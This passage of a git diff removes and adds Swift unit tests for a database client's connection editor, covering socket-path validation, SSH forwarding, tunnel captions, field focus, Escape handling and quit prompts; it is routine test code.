#expect(!model.validationIssues.contains { $0.localizedCaseInsensitiveContains("database") }) - } - - @Test("A named database is optional for a network driver, so a blank one still validates") - func networkDatabaseStaysOptional() { - let model = model(for: .mongodb) - model.name = "Cluster" - model.database = "" - #expect(model.showsBuiltInDatabaseField) - #expect(!model.requiresDatabaseValue) - #expect(!model.validationIssues.contains { $0.localizedCaseInsensitiveContains("database") }) - } - - @Test("Every type that requires a database value also renders a field for it") - func requiredImpliesRendered() { - let types: [DatabaseType] = [ - .mysql, .postgresql, .mongodb, .cassandra, .oracle, .dameng, - .redis, .etcd, .elasticsearch, .duckdb, .bigQuery, .dynamodb, .libsql, - ] - for type in types { - let model = model(for: type) - guard model.requiresDatabaseValue, model.connectionMode != .fileBased else { continue } - #expect(model.showsBuiltInDatabaseField, "\(type.rawValue) requires a database it cannot render") - } - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPaneLocalSocketTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPaneLocalSocketTests.swift deleted file mode 100644 index e51893e863..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPaneLocalSocketTests.swift +++ /dev/null @@ -1,200 +0,0 @@ -// -// NetworkPaneLocalSocketTests.swift -// TableProTests -// - -import Darwin -import Foundation -@testable import TablePro -import TableProSSHConfig -import Testing - -@MainActor -struct NetworkPaneLocalSocketTests { - private func socketConnection(path: String = "/tmp/mysql.sock", type: DatabaseType = .mysql) -> DatabaseConnection { - var connection = DatabaseConnection(name: "Local", host: "localhost", port: 3_306, type: type) - connection.additionalFields[MySQLLocalSocket.fieldKey] = path - return connection - } - - private func socketViewModel(path: String) -> NetworkPaneViewModel { - let viewModel = NetworkPaneViewModel() - viewModel.name = "Local" - viewModel.type = .mysql - viewModel.endpoint = .localSocket - viewModel.localSocketPath = path - return viewModel - } - - @Test("Loading a socket connection selects Socket and fills the path") - func loadsSocketConnection() { - let viewModel = NetworkPaneViewModel() - viewModel.load(from: socketConnection()) - - #expect(viewModel.endpoint == .localSocket) - #expect(viewModel.localSocketPath == "/tmp/mysql.sock") - #expect(viewModel.usesLocalSocket) - } - - @Test("Loading a TCP connection stays on Host and Port") - func loadsTCPConnection() { - let viewModel = NetworkPaneViewModel() - viewModel.load(from: DatabaseConnection(name: "TCP", host: "db.internal", port: 3_306, type: .mysql)) - - #expect(viewModel.endpoint == .hostAndPort) - #expect(viewModel.localSocketPath.isEmpty) - #expect(!viewModel.usesLocalSocket) - } - - @Test("A stored socket under an SSH tunnel loads as Host and Port, since the tunnel is what connects") - func socketUnderTunnelLoadsAsHostAndPort() { - var connection = socketConnection() - connection.sshTunnelMode = .inline(SSHConfiguration(enabled: true, host: "bastion.example.com")) - - let viewModel = NetworkPaneViewModel() - viewModel.load(from: connection) - - #expect(viewModel.endpoint == .hostAndPort) - #expect(viewModel.localSocketPath.isEmpty) - } - - @Test("Writing in Socket mode stores the trimmed path with ~ expanded") - func writesTrimmedExpandedPath() { - var fields: [String: String] = [:] - socketViewModel(path: " /tmp/mysql.sock\n").write(into: &fields) - #expect(fields[MySQLLocalSocket.fieldKey] == "/tmp/mysql.sock") - - var homeFields: [String: String] = [:] - socketViewModel(path: "~/run/mysqld.sock").write(into: &homeFields) - #expect(homeFields[MySQLLocalSocket.fieldKey] == NSHomeDirectory() + "/run/mysqld.sock") - } - - @Test("Host and Port mode writes no socket, even with a path typed earlier") - func hostAndPortWritesNoSocket() { - let viewModel = socketViewModel(path: "/tmp/mysql.sock") - viewModel.endpoint = .hostAndPort - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(fields[MySQLLocalSocket.fieldKey] == nil) - #expect(viewModel.localSocketIssues.isEmpty) - } - - @Test("An empty socket path blocks Save and names the field") - func emptyPathIsRequired() { - let viewModel = socketViewModel(path: " ") - let required = String(format: String(localized: "%@ is required"), String(localized: "Socket")) - #expect(viewModel.validationIssues == [required]) - } - - @Test("A relative socket path blocks Save") - func relativePathIsRejected() { - let viewModel = socketViewModel(path: "mysql.sock") - #expect(viewModel.validationIssues == [MySQLLocalSocket.PathIssue.notAbsolute.message]) - } - - @Test("A path past macOS's 103-byte limit blocks Save with its length") - func longPathIsRejected() { - let path = "/" + String(repeating: "a", count: 103) - let viewModel = socketViewModel(path: path) - #expect(viewModel.validationIssues == [MySQLLocalSocket.PathIssue.tooLong(bytes: 104).message]) - - let atLimit = socketViewModel(path: "/" + String(repeating: "a", count: 102)) - #expect(atLimit.validationIssues.isEmpty) - } - - @Test("A path under ~ is checked after expanding it, so it is absolute") - func tildePathIsAbsolute() { - #expect(socketViewModel(path: "~/mysql.sock").validationIssues.isEmpty) - } - - @Test("Changing the type to Redshift drops the socket") - func typeChangeDropsSocket() { - let viewModel = socketViewModel(path: "") - viewModel.type = .redshift - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(!viewModel.supportsLocalSocket) - #expect(!viewModel.usesLocalSocket) - #expect(fields[MySQLLocalSocket.fieldKey] == nil) - #expect(viewModel.localSocketIssues.isEmpty) - } - - @Test("Socket is offered for MySQL, MariaDB and PostgreSQL only") - func socketIsOfferedPerType() { - let cases: [(type: DatabaseType, offered: Bool)] = [ - (.mysql, true), (.mariadb, true), (.tidb, false), (.oceanbase, false), - (.databend, false), (.postgresql, true), (.redshift, false), (.cockroachdb, false), - (DatabaseType(rawValue: "PGlite"), false), (.sqlite, false) - ] - for entry in cases { - let viewModel = NetworkPaneViewModel() - viewModel.type = entry.type - #expect(viewModel.supportsLocalSocket == entry.offered, "\(entry.type.rawValue)") - } - } - - @Test("The prompt is the socket path a Homebrew or installer MySQL uses") - func promptIsTheDefaultSocket() { - let viewModel = NetworkPaneViewModel() - viewModel.type = .mariadb - #expect(viewModel.localSocketPrompt == "/tmp/mysql.sock") - } - - @Test("A missing path, a plain file and a socket each read as such") - func fileStatusFollowsTheFile() throws { - let directory = URL(fileURLWithPath: "/tmp", isDirectory: true) - .appendingPathComponent("tp-\(UUID().uuidString.prefix(8))", isDirectory: true) - try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) - defer { try? FileManager.default.removeItem(at: directory) } - - let missing = directory.appendingPathComponent("missing.sock").path - #expect(NetworkPaneViewModel.localSocketFileStatus(atPath: missing) == .missing) - - let file = directory.appendingPathComponent("plain.sock").path - #expect(FileManager.default.createFile(atPath: file, contents: Data())) - #expect(NetworkPaneViewModel.localSocketFileStatus(atPath: file) == .notSocket) - - let socketPath = directory.appendingPathComponent("m.sock").path - let descriptor = try bindUnixSocket(at: socketPath) - defer { close(descriptor) } - #expect(NetworkPaneViewModel.localSocketFileStatus(atPath: socketPath) == .socket) - - let link = directory.appendingPathComponent("link.sock").path - try FileManager.default.createSymbolicLink(atPath: link, withDestinationPath: socketPath) - #expect(NetworkPaneViewModel.localSocketFileStatus(atPath: link) == .socket) - } - - @Test("The file status stays quiet until the path itself is valid") - func fileStatusWaitsForAValidPath() { - #expect(socketViewModel(path: "").localSocketFileStatus == nil) - #expect(socketViewModel(path: "relative.sock").localSocketFileStatus == nil) - #expect(socketViewModel(path: "/nonexistent-tablepro/m.sock").localSocketFileStatus == .missing) - } - - private func bindUnixSocket(at path: String) throws -> Int32 { - let descriptor = socket(AF_UNIX, SOCK_STREAM, 0) - guard descriptor >= 0 else { throw POSIXError(.EBADF) } - var address = sockaddr_un() - address.sun_family = sa_family_t(AF_UNIX) - let bytes = Array(path.utf8) - withUnsafeMutableBytes(of: &address.sun_path) { buffer in - for (index, byte) in bytes.enumerated() where index < buffer.count - 1 { - buffer[index] = byte - } - } - let result = withUnsafePointer(to: &address) { pointer in - pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) { - bind(descriptor, $0, socklen_t(MemoryLayout.size)) - } - } - guard result == 0 else { - close(descriptor) - throw POSIXError(.EADDRINUSE) - } - return descriptor - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPanePostgreSQLSocketTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPanePostgreSQLSocketTests.swift deleted file mode 100644 index 74a157d7bb..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPanePostgreSQLSocketTests.swift +++ /dev/null @@ -1,161 +0,0 @@ -// -// NetworkPanePostgreSQLSocketTests.swift -// TableProTests -// - -import Darwin -import Foundation -@testable import TablePro -import TableProPluginKit -import Testing - -@MainActor -struct NetworkPanePostgreSQLSocketTests { - private func socketForm(path: String, port: String = "5432") -> ConnectionFormCoordinator { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.name = "Local" - coordinator.network.type = .postgresql - coordinator.network.port = port - coordinator.selectEndpoint(.localSocket) - coordinator.network.localSocketPath = path - return coordinator - } - - @Test("PostgreSQL offers Socket, prompts /tmp and suggests the common folders") - func offersSocket() { - let network = socketForm(path: "").network - #expect(network.supportsLocalSocket) - #expect(network.localSocketIsDirectory) - #expect(network.localSocketPrompt == "/tmp") - #expect(network.localSocketSuggestions == ["/tmp", "/var/run/postgresql"]) - - let mysql = NetworkPaneViewModel() - mysql.type = .mysql - #expect(!mysql.localSocketIsDirectory) - #expect(mysql.localSocketSuggestions.isEmpty) - } - - @Test("Socket leaves Direct only and drops SSL, but keeps the Network tab") - func socketDropsSSL() { - let coordinator = socketForm(path: "/tmp") - coordinator.ssl.select(.required) - coordinator.ssl.clientCertPath = "/tmp/client.crt" - - #expect(coordinator.availableTransports == [nil]) - #expect(coordinator.supportsSSL) - #expect(!coordinator.showsSSL) - #expect(coordinator.ssl.validationIssues.isEmpty) - #expect(coordinator.visibleTabs.contains(.network)) - #expect(ConnectionFormTab.network.validationIssues(for: coordinator).isEmpty) - - coordinator.selectEndpoint(.hostAndPort) - #expect(coordinator.showsSSL) - #expect(!coordinator.ssl.validationIssues.isEmpty) - } - - @Test("A MySQL socket keeps its SSL settings") - func mysqlSocketKeepsSSL() { - let coordinator = ConnectionFormCoordinator(connectionId: nil) - coordinator.network.type = .mysql - coordinator.selectEndpoint(.localSocket) - #expect(coordinator.showsSSL) - } - - @Test("A folder is saved with the port, and the port names the socket file") - func savesDirectoryAndPort() { - let edits = socketForm(path: "/var/run/postgresql/", port: "5434").buildEdits() - #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/var/run/postgresql") - #expect(edits.port == 5_434) - - let connection = edits.applied(to: DatabaseConnection(name: "")) - #expect(connection.localSocketFile == "/var/run/postgresql/.s.PGSQL.5434") - #expect(connection.transportSSLConfiguration.mode == .disabled) - } - - @Test("A socket file is saved as its folder and the port in its name") - func savesSocketFileAsDirectory() { - let edits = socketForm(path: "/tmp/.s.PGSQL.5433", port: "5432").buildEdits() - #expect(edits.additionalFields[MySQLLocalSocket.fieldKey] == "/tmp") - #expect(edits.port == 5_433) - } - - @Test("A relative path, a comma and a socket file over 103 bytes block Save") - func pathIssues() { - #expect(socketForm(path: "").network.localSocketIssues.count == 1) - #expect(socketForm(path: "run/postgresql").network.localSocketIssues == [PostgreSQLLocalSocket.PathIssue.notAbsolute.message]) - #expect(socketForm(path: "/tmp,/var/run").network.localSocketIssues == [PostgreSQLLocalSocket.PathIssue.comma.message]) - - let directory = "/" + String(repeating: "a", count: 88) - #expect(socketForm(path: directory, port: "5432").network.localSocketIssues.isEmpty) - #expect( - socketForm(path: directory, port: "54321").network.localSocketIssues - == [PostgreSQLLocalSocket.PathIssue.tooLong(bytes: 104).message] - ) - } - - @Test("The file status checks the socket file the folder and port name") - func fileStatusChecksTheSocketFile() throws { - let directory = URL(fileURLWithPath: "/tmp", isDirectory: true) - .appendingPathComponent("tp-\(UUID().uuidString.prefix(8))", isDirectory: true) - try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) - defer { try? FileManager.default.removeItem(at: directory) } - - let form = socketForm(path: directory.path, port: "5433") - #expect(form.network.localSocketFileStatus == .missing) - - let descriptor = try bindUnixSocket(at: directory.appendingPathComponent(".s.PGSQL.5433").path) - defer { close(descriptor) } - #expect(form.network.localSocketFileStatus == .socket) - - form.network.port = "5434" - #expect(form.network.localSocketFileStatus == .missing) - } - - @Test("~/.pgpass is matched by localhost for /tmp and by the folder otherwise") - func pgpassEndpoint() { - let defaultFolder = socketForm(path: "/tmp", port: "5433").network.pgpassEndpoint - #expect(defaultFolder.host == "localhost") - #expect(defaultFolder.port == 5_433) - let otherFolder = socketForm(path: "/var/run/postgresql").network.pgpassEndpoint - #expect(otherFolder.host == "/var/run/postgresql") - #expect(otherFolder.port == 5_432) - - let tcp = NetworkPaneViewModel() - tcp.type = .postgresql - tcp.host = "db.example.com" - tcp.port = "6432" - #expect(tcp.pgpassEndpoint.host == "db.example.com") - #expect(tcp.pgpassEndpoint.port == 6_432) - tcp.host = "" - #expect(tcp.pgpassEndpoint.host == "localhost") - } - - @Test("The Network tab names the socket and says no SSL is used") - func directSummary() { - let summary = ConnectionTunnelKind.directSummary(isFileBased: false, usesLocalSocket: true, localSocketSkipsTLS: true) - #expect(summary != ConnectionTunnelKind.directSummary(isFileBased: false, usesLocalSocket: true, localSocketSkipsTLS: false)) - } - - private func bindUnixSocket(at path: String) throws -> Int32 { - let descriptor = socket(AF_UNIX, SOCK_STREAM, 0) - guard descriptor >= 0 else { throw POSIXError(.EBADF) } - var address = sockaddr_un() - address.sun_family = sa_family_t(AF_UNIX) - let bytes = Array(path.utf8) - withUnsafeMutableBytes(of: &address.sun_path) { buffer in - for (index, byte) in bytes.enumerated() where index < buffer.count - 1 { - buffer[index] = byte - } - } - let result = withUnsafePointer(to: &address) { pointer in - pointer.withMemoryRebound(to: sockaddr.self, capacity: 1) { - bind(descriptor, $0, socklen_t(MemoryLayout.size)) - } - } - guard result == 0 else { - close(descriptor) - throw POSIXError(.EADDRINUSE) - } - return descriptor - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPaneSocketForwardTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPaneSocketForwardTests.swift deleted file mode 100644 index c93ebb443a..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPaneSocketForwardTests.swift +++ /dev/null @@ -1,91 +0,0 @@ -// -// NetworkPaneSocketForwardTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import Testing - -@MainActor -struct NetworkPaneSocketForwardTests { - @Test("An absolute socket file path raises no issue") - func acceptsAbsoluteSocketPath() { - #expect(NetworkPaneViewModel.socketPathIssue(for: "/var/run/postgresql/.s.PGSQL.5432") == nil) - } - - @Test("An empty path raises no issue, because the field is optional") - func emptyPathIsFine() { - #expect(NetworkPaneViewModel.socketPathIssue(for: "") == nil) - #expect(NetworkPaneViewModel.socketPathIssue(for: " ") == nil) - } - - @Test("A relative path is flagged") - func flagsRelativePath() { - #expect(NetworkPaneViewModel.socketPathIssue(for: "var/run/postgresql") == .notAbsolute) - } - - @Test("A trailing slash is flagged, because ssh forwards to the socket file not its directory") - func flagsDirectoryPath() { - #expect(NetworkPaneViewModel.socketPathIssue(for: "/var/run/postgresql/") == .looksLikeDirectory) - } - - @Test("Loading a connection populates the socket path") - func loadsSocketPath() { - var connection = DatabaseConnection( - name: "socket", - host: "db.internal", - port: 5_432, - type: .postgresql - ) - connection.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" - - let viewModel = NetworkPaneViewModel() - viewModel.load(from: connection) - - #expect(viewModel.sshForwardUnixSocketPath == "/var/run/postgresql/.s.PGSQL.5432") - #expect(viewModel.forwardsToUnixSocket) - } - - @Test("Writing trims the socket path") - func writeTrimsSocketPath() { - let viewModel = NetworkPaneViewModel() - viewModel.sshForwardUnixSocketPath = " /var/run/postgresql/.s.PGSQL.5432 " - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(fields[DatabaseConnection.sshForwardUnixSocketPathKey] == "/var/run/postgresql/.s.PGSQL.5432") - } - - @Test("Writing an empty socket path stores nothing") - func writeOmitsEmptySocketPath() { - let viewModel = NetworkPaneViewModel() - viewModel.sshForwardUnixSocketPath = " " - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(fields[DatabaseConnection.sshForwardUnixSocketPathKey] == nil) - #expect(viewModel.forwardsToUnixSocket == false) - } - - @Test("The socket path prompt follows the database type") - func socketPromptFollowsType() { - let viewModel = NetworkPaneViewModel() - - viewModel.type = .mysql - #expect(viewModel.socketPathPrompt == "/var/run/mysqld/mysqld.sock") - - viewModel.type = .postgresql - #expect(viewModel.socketPathPrompt == "/var/run/postgresql/.s.PGSQL.5432") - } - - @Test("A type without a socket convention falls back to a generic prompt") - func socketPromptFallsBackForSocketlessType() { - let viewModel = NetworkPaneViewModel() - viewModel.type = .clickhouse - - #expect(viewModel.socketPathPrompt == "/path/to/database.sock") - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPaneTunnelHostListCaptionTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPaneTunnelHostListCaptionTests.swift deleted file mode 100644 index d3689c41a7..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPaneTunnelHostListCaptionTests.swift +++ /dev/null @@ -1,87 +0,0 @@ -// -// NetworkPaneTunnelHostListCaptionTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import Testing - -@MainActor -struct NetworkPaneTunnelHostListCaptionTests { - private func viewModel(type: DatabaseType, fields: [String: String]) -> NetworkPaneViewModel { - let viewModel = NetworkPaneViewModel() - viewModel.type = type - viewModel.additionalFieldValues = fields - return viewModel - } - - @Test("Redis Sentinel says Sentinel cannot run through a tunnel, not that failover is off") - func sentinelCaption() throws { - let caption = try #require(viewModel( - type: .redis, - fields: ["redisMode": "sentinel", "redisSentinelHosts": "s1.example:26379,s2.example:26379"] - ).tunnelHostListCaption) - - #expect(!caption.localizedCaseInsensitiveContains("replica set")) - #expect(caption.localizedCaseInsensitiveContains("Sentinel")) - } - - @Test("Redis Sentinel is refused through a tunnel with a single node too") - func sentinelCaptionWithOneNode() { - let caption = viewModel( - type: .redis, - fields: ["redisMode": "sentinel", "redisSentinelHosts": "s1.example:26379"] - ).tunnelHostListCaption - - #expect(caption != nil) - } - - @Test("Redis Cluster names the first node, not a replica set") - func clusterCaption() throws { - let caption = try #require(viewModel( - type: .redis, - fields: ["redisMode": "cluster", "redisClusterHosts": "n1.example:7000,n2.example:7001"] - ).tunnelHostListCaption) - - #expect(!caption.localizedCaseInsensitiveContains("replica set")) - #expect(caption.localizedCaseInsensitiveContains("node")) - } - - @Test("Redis Cluster warns with a single seed node, since the tunnel still reaches only that node") - func clusterCaptionWithOneSeed() { - let caption = viewModel( - type: .redis, - fields: ["redisMode": "cluster", "redisClusterHosts": "n1.example:7000"] - ).tunnelHostListCaption - - #expect(caption != nil) - } - - @Test("Kafka names the first broker, not a replica set") - func kafkaCaption() throws { - let caption = try #require(viewModel( - type: .kafka, - fields: ["kafkaBootstrapServers": "b1.example:9092,b2.example:9092"] - ).tunnelHostListCaption) - - #expect(!caption.localizedCaseInsensitiveContains("replica set")) - #expect(caption.localizedCaseInsensitiveContains("broker")) - } - - @Test("MongoDB keeps its replica set caption") - func mongoCaption() throws { - let caption = try #require(viewModel( - type: .mongodb, - fields: ["mongoHosts": "a.example:27017,b.example:27017"] - ).tunnelHostListCaption) - - #expect(caption.localizedCaseInsensitiveContains("replica set")) - } - - @Test("A single MongoDB host and an engine without a host list get no caption") - func noCaption() { - #expect(viewModel(type: .mongodb, fields: ["mongoHosts": "a.example:27017"]).tunnelHostListCaption == nil) - #expect(viewModel(type: .postgresql, fields: [:]).tunnelHostListCaption == nil) - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/OptionsPaneQueryTimeoutTests.swift b/apple/TableProTests/Views/ConnectionForm/OptionsPaneQueryTimeoutTests.swift deleted file mode 100644 index 973b9f272d..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/OptionsPaneQueryTimeoutTests.swift +++ /dev/null @@ -1,44 +0,0 @@ -import Foundation -@testable import TablePro -import Testing - -struct OptionsPaneQueryTimeoutTests { - private let english = Locale(identifier: "en_US") - - @Test("No global limit reads as no limit, never as zero") - func zeroReadsAsNoLimit() { - #expect(OptionsPaneView.queryTimeoutPlaceholder(globalSeconds: 0) == "No limit") - #expect( - OptionsPaneView.queryTimeoutInheritance(globalSeconds: 0, locale: english) - == "Leave blank to use Settings > Connections: no limit." - ) - } - - @Test("A global limit reads as a duration in words", arguments: [ - (1, "1 second"), - (60, "1 minute"), - (90, "1 minute, 30 seconds"), - (300, "5 minutes"), - (3_600, "1 hour") - ]) - func limitReadsAsDuration(seconds: Int, words: String) { - #expect( - OptionsPaneView.queryTimeoutInheritance(globalSeconds: seconds, locale: english) - == "Leave blank to use Settings > Connections: \(words)." - ) - } - - @Test("The prompt inside the seconds field keeps the number") - func placeholderKeepsSeconds() { - #expect(OptionsPaneView.queryTimeoutPlaceholder(globalSeconds: 60) == "Global (60)") - } - - @Test("An out-of-range global value shows what a connection actually gets") - func outOfRangeGlobalIsClamped() { - #expect(OptionsPaneView.queryTimeoutPlaceholder(globalSeconds: -5) == "No limit") - #expect( - OptionsPaneView.queryTimeoutPlaceholder(globalSeconds: 9_999_999) - == "Global (\(DatabaseConnection.queryTimeoutSecondsRange.upperBound))" - ) - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift new file mode 100644 index 0000000000..212a745b37 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift @@ -0,0 +1,189 @@ +// +// ConnectionEditorFocusTests.swift +// TableProTests +// + +import AppKit +import Foundation +import TableProPluginKit +import TableProSSHConfig +import TableProTestSupport +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorFocusTests { + private func makeController(_ fixture: ConnectionEditorStoreFixture) -> ConnectionEditorWindowController { + ConnectionEditorWindowController(store: fixture.makeStore(.new(type: .postgresql, parsedURL: nil)), frameAutosaveName: nil) + } + + private func flush(_ window: NSWindow) { + RunLoop.main.run(until: Date()) + window.contentView?.layoutSubtreeIfNeeded() + } + + // SwiftUI keeps accessibility identifiers off its AppKit views, so a probe value tells the fields apart. + private func focusedText(in window: NSWindow) -> String? { + (window.firstResponder as? NSTextView)?.string + } + + private func editableField(in view: NSView) -> NSTextField? { + if let field = view as? NSTextField, field.isEditable { return field } + for subview in view.subviews { + if let field = editableField(in: subview) { return field } + } + return nil + } + + private func textView(in view: NSView) -> NSTextView? { + if let textView = view as? NSTextView, !textView.isFieldEditor { return textView } + for subview in view.subviews { + if let found = textView(in: subview) { return found } + } + return nil + } + + private func escape(in window: NSWindow, modifiers: NSEvent.ModifierFlags = []) throws -> NSEvent { + try #require(NSEvent.keyEvent( + with: .keyDown, + location: .zero, + modifierFlags: modifiers, + timestamp: 0, + windowNumber: window.windowNumber, + context: nil, + characters: "\u{1b}", + charactersIgnoringModifiers: "\u{1b}", + isARepeat: false, + keyCode: 53 + )) + } + + @Test("A facet built after focus(on:) focuses the requested row, whatever kind of row it is") + func focusReachesFacetsBuiltLater() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture) + defer { controller.close() } + let store = controller.store + let window = try #require(controller.window) + store.selectTransport(.ssh) + let jumpHost = store.addJumpHost() + let rule = store.addMaskingRule() + store.update { + $0.ssh.host = "probe-ssh-host" + $0.options.connectTimeoutSeconds = 77 + $0.options.preConnectScript = "probe-pre-connect" + $0.ssl.clientKeyPath = "/probe/client.key" + $0.ai.rules = "probe-ai-rules" + $0.database = "probe_database" + } + store.updateMaskingRule(MaskingRule(id: rule, pattern: "probe-pattern")) + store.updateJumpHost(SSHJumpHost(id: jumpHost, host: "probe-jump-host")) + flush(window) + try #require(controller.detail.visitedFacets == [.general]) + + let cases: [(ConnectionFacet, EditorRow, String)] = [ + (.sshAndProxies, .builtIn(.sshHost), "probe-ssh-host"), + (.advanced, .builtIn(.connectTimeout), "77"), + (.startup, .builtIn(.preConnectScript), "probe-pre-connect"), + (.sslTLS, .builtIn(.sslClientKey), "/probe/client.key"), + (.aiAndMCP, .builtIn(.aiRules), "probe-ai-rules"), + (.safeMode, .builtIn(.maskingRules), "probe-pattern"), + (.sshAndProxies, .builtIn(.jumpHost(jumpHost)), "probe-jump-host"), + (.general, .builtIn(.database), "probe_database"), + ] + for (facet, row, probe) in cases { + try #require(store.layout.facet(facet)?.contains(row) == true, "\(row)") + store.focus(facet: facet, row: row) + do { + try await waitUntil(timeout: .seconds(3)) { focusedText(in: window) == probe } + } catch { + Issue.record("\(probe): the focused text is \(focusedText(in: window) ?? "nothing")") + } + #expect(store.focusRequest == nil, "\(row)") + } + #expect(controller.detail.visitedFacets.count == 7) + } + + @Test("A row focused below the fold is scrolled into view, so the keyboard never lands out of sight") + func focusScrollsTheRowIntoView() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture) + defer { controller.close() } + let store = controller.store + let window = try #require(controller.window) + store.selectTransport(.ssh) + var last = UUID() + for index in 0..<5 { + last = store.addJumpHost() + store.updateJumpHost(SSHJumpHost(id: last, host: "jump\(index).example.com")) + } + store.updateJumpHost(SSHJumpHost(id: last, host: "probe-last-hop")) + store.selectedFacet = .sshAndProxies + try await waitUntil { controller.detail.shownContent == .facet(.sshAndProxies) } + flush(window) + + store.focus(facet: .sshAndProxies, row: .builtIn(.jumpHost(last))) + + try await waitUntil(timeout: .seconds(3)) { focusedText(in: window) == "probe-last-hop" } + let field = try #require((window.firstResponder as? NSTextView)?.delegate as? NSView) + let scrollView = try #require(field.enclosingScrollView) + try await waitUntil(timeout: .seconds(3)) { + scrollView.contentView.bounds.contains(field.convert(field.bounds, to: scrollView.contentView)) + } + } + + @Test("Escape in a text field ends the edit and keeps the window; outside one it is left to Cancel") + func escapeInTextField() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture) + defer { controller.close() } + let window = try #require(controller.window) + flush(window) + let host = try #require(controller.detail.host(for: .general)?.view) + let field = try #require(editableField(in: host)) + #expect(window.makeFirstResponder(field)) + #expect((window.firstResponder as? NSTextView)?.isFieldEditor == true) + + #expect(!controller.consumesKeyDown(try escape(in: window, modifiers: .shift))) + #expect(controller.consumesKeyDown(try escape(in: window))) + + #expect(!(window.firstResponder is NSTextView)) + #expect(!controller.store.isClosing) + #expect(!controller.consumesKeyDown(try escape(in: window))) + } + + @Test("Escape in a code editor ends the edit and never cancels the window") + func escapeInCodeEditor() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture) + defer { controller.close() } + let window = try #require(controller.window) + controller.store.selectedFacet = .startup + try await waitUntil { controller.detail.shownContent == .facet(.startup) } + flush(window) + let host = try #require(controller.detail.host(for: .startup)?.view) + let editor = try #require(textView(in: host)) + #expect(window.makeFirstResponder(editor)) + + #expect(controller.consumesKeyDown(try escape(in: window))) + + #expect(window.firstResponder !== editor) + #expect(!controller.store.isClosing) + } + + @Test("Escape with no field being edited reaches Cancel and its close guard") + func escapeOutsideAFieldCancels() async throws { + let fixture = try ConnectionEditorStoreFixture() + let clean = makeController(fixture) + defer { clean.close() } + let window = try #require(clean.window) + flush(window) + window.makeFirstResponder(nil) + + #expect(!clean.consumesKeyDown(try escape(in: window))) + #expect(window.performKeyEquivalent(with: try escape(in: window))) + + try await waitUntil { clean.store.isClosing } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorQuitTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorQuitTests.swift new file mode 100644 index 0000000000..4844e4d33e --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorQuitTests.swift @@ -0,0 +1,145 @@ +// +// ConnectionEditorQuitTests.swift +// TableProTests +// + +import AppKit +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorQuitTests { + private func postgres(name: String) -> DatabaseConnection { + DatabaseConnection(name: name, host: "db.example.com", port: 5_432, database: "orders", username: "app", type: .postgresql) + } + + private func editor( + _ fixture: ConnectionEditorStoreFixture, + _ connection: DatabaseConnection, + host: String? = nil + ) -> ConnectionEditorWindowController { + let controller = ConnectionEditorWindowController( + store: fixture.makeStore(.edit(connectionId: connection.id)), + frameAutosaveName: nil + ) + if let host { + controller.store.update { $0.host = host } + } + return controller + } + + @Test("An editor with nothing to save is not asked, and the quit goes on") + func cleanEditorIsNotAsked() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let clean = editor(fixture, connection) + defer { clean.close() } + var asked: [String] = [] + + let approved = ConnectionEditorWindowController.prepareToTerminate([clean]) { _, prompt in + asked.append(prompt.connectionName) + return .cancel + } + + #expect(approved) + #expect(asked.isEmpty) + } + + @Test("Cancel stops the quit and writes nothing") + func cancelStopsTheQuit() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let edited = editor(fixture, connection, host: "replica.example.com") + defer { edited.close() } + + let approved = ConnectionEditorWindowController.prepareToTerminate([edited]) { _, _ in .cancel } + + #expect(!approved) + #expect(!edited.store.isClosing) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "db.example.com") + } + + @Test("Don't Save lets the quit go on and writes nothing") + func dontSaveQuits() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let edited = editor(fixture, connection, host: "replica.example.com") + defer { edited.close() } + + let approved = ConnectionEditorWindowController.prepareToTerminate([edited]) { _, _ in .dontSave } + + #expect(approved) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "db.example.com") + } + + @Test("Save writes the edits without connecting, closes the editor and lets the quit go on") + func saveQuits() throws { + let fixture = try 